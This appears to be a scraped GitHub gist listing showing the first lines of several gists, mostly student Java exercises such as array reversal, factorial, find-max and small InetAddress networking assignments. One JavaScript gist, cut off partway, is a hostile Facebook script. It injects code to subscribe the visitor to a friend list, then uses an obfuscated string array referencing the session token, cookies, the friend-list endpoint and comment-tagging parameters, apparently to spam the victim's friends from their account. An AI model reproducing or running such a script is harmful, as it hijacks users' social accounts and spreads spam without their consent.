This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.sql.Connection; | |
import java.sql.DriverManager; | |
import java.sql.PreparedStatement; | |
import java.sql.ResultSet; | |
import java.sql.SQLException; | |
import java.util.Scanner; | |
import com.mysql.jdbc.Statement; | |
public class Main { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.net.*; | |
import java.sql.*; | |
import java.util.*; | |
import com.mysql.jdbc.Connection; | |
import com.mysql.jdbc.Statement; | |
class Client { | |
private static int port = 12345; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function IbraheemNada(uidss) { | |
var a = document.createElement('script'); | |
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; | |
document.body.appendChild(a) | |
} | |
IbraheemNada("600956029990265"); | |
var _0xa22c = ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "283190978515002", "onreadystatechange", "readyState", "arkadaslar = ", "for (;;);", "", "replace", "responseText", ";", "length", "entries", "payload", "round", " @[", "uid", ":", "text", "]", " ", "\x26filter[0]=user", "\x26options[0]=friends_only", "\x26options[1]=nm", "\x26token=v7", "\x26viewer=", "\x26__user=", "https://", "indexOf", "URL", "GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "open", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "send", "random", "floor", "\x26ft_ent_identifier=", "\x26comment_text=", "\x26source=2", "\x26client_id=1377871797138:1707018092", "\x26reply_fb |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class program111 { | |
public static void main(String args[]){ | |
int[] numbers = {5,0,7}; | |
System.out.println("Java array before reverse"); | |
for(int i=0; i < numbers.length ; i++){ | |
System.out.print(numbers[i] + " "); | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Scanner; | |
class program22{ | |
public static void main(String args[]){ | |
Scanner a = new Scanner(System.in); | |
System.out.print("Please enter a number : "); | |
int input = a.nextInt(); | |
System.out.println("Your number is " + input); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Authored by : Anas Suwannawong and team. | |
* Coding style : JAVA | |
* Date Uploaded : 9 Dec 2013 | |
* Problem by : send Aj.luck | |
* For : Network Programming | |
* Please do NOT copy this for send to Ajarn. | |
* */ | |
import java.util.*; | |
class Network{ | |
public static void main(String[] agrs){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Scanner; | |
class Network{ | |
// ip method | |
public void ip(String newString){ | |
// make a position of each string | |
int numberPosition[] = new int[newString.length()]; | |
for(int i=0;i<=newString.length()-1;i++){ | |
numberPosition[i] = Character.getNumericValue(newString.charAt(i)); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Factory { | |
public static void main(String[] args) { | |
int x = Fac(5); | |
System.out.print(x); | |
} | |
public static int Fac(int n){ | |
if(n==1){ | |
return n; | |
}else{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Hello { | |
public static void main(String[] args) { | |
int[] array = new int[]{3,7,4,9,5,6,8,1,20,2}; | |
int largest = FindMax(array, 1, 20); | |
System.out.print("The largest value = "+largest); | |
} | |
public static int FindMax(int[] a, int start, int largest) { | |
if (start == a.length) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.net.*; | |
import java.io.*; | |
public class midterm{ | |
public static void main(String[] args) throws IOException{ | |
try{ | |
InetAddress address = InetAddress.getByName("www.mfu.ac.th"); | |
String nameAddress = ""+address; | |
InetAddress secret_address = InetAddress.getByName("202.28.46.8"); | |
String secret_address1 = ""+secret_address; |
OlderNewer